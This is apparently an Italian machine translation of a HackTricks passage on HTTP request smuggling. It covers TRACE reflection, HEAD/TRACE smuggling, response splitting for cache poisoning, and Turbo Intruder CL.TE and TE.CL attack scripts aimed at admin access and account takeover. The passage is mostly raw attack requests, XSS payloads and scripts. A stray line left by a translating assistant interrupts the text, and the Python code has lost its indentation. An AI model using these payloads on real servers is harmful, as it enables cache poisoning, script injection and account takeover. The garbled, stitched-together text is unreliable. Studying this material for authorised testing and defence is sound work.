In this post viene suggerito che se il server ha il metodo TRACE abilitato potrebbe essere possibile abusarne con un HTTP Request Smuggling. Questo perché questo metodo riflette qualsiasi header inviato al server come parte del corpo della risposta. Per esempio:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Perfetto — incolla qui il contenuto di src/pentesting-web/http-request-smuggling/README.md che vuoi tradurre in italiano e lo tradurrò mantenendo esattamente la stessa sintassi Markdown/HTML e le eccezioni che hai indicato.

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Un esempio su come abusare di questo comportamento sarebbe smuggle first a HEAD request. Questa request verrà risposta solo con le headers di una GET request (Content-Type tra esse). E smuggle immediately after the HEAD a TRACE request, che rifletterà i dati inviati.
Poiché la risposta HEAD conterrà un header Content-Length, la response della TRACE request verrà trattata come il body della response HEAD, riflettendo quindi dati arbitrari nella risposta.
Questa response verrà inviata alla request successiva sulla connessione, quindi potrebbe essere usata in un cached JS file per esempio per iniettare arbitrary JS code.

Abusing TRACE via HTTP Response Splitting

Si suggerisce di continuare a seguire this post per un altro modo di abusare del metodo TRACE. Come commentato, smuggling una HEAD request e una TRACE request permette di controllare alcuni dati riflessi nella risposta alla HEAD request. La lunghezza del body della HEAD request è sostanzialmente indicata nell'header Content-Length ed è costituita dalla response alla TRACE request.

Pertanto, l'idea sarebbe che, conoscendo questo Content-Length e i dati forniti nella response TRACE, sia possibile fare in modo che la response TRACE contenga una valid HTTP response dopo l'ultimo byte indicato dal Content-Length, permettendo a un attaccante di controllare completamente la request alla response successiva (che potrebbe essere usata per eseguire una cache poisoning).

Example:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Genererà queste responses (nota come la HEAD response abbia un Content-Length che rende la TRACE response parte del body della HEAD e, una volta che il Content-Length della HEAD termina, viene smuggled una valid HTTP response):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Strumentalizzare HTTP Request Smuggling con HTTP Response Desynchronisation

Hai trovato una HTTP Request Smuggling vulnerability e non sai come exploit it. Prova questi altri metodi di exploitation:

HTTP Response Smuggling / Desync

Altre HTTP Request Smuggling Techniques

  • Browser HTTP Request Smuggling (Client Side)

Browser HTTP Request Smuggling

  • Request Smuggling in HTTP/2 Downgrades

Request Smuggling in HTTP/2 Downgrades

Turbo intruder scripts

CL.TE

Da https://hipotermia.pw/bb/http-desync-idor

python
def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Da: https://hipotermia.pw/bb/http-desync-account-takeover

python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Strumenti

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks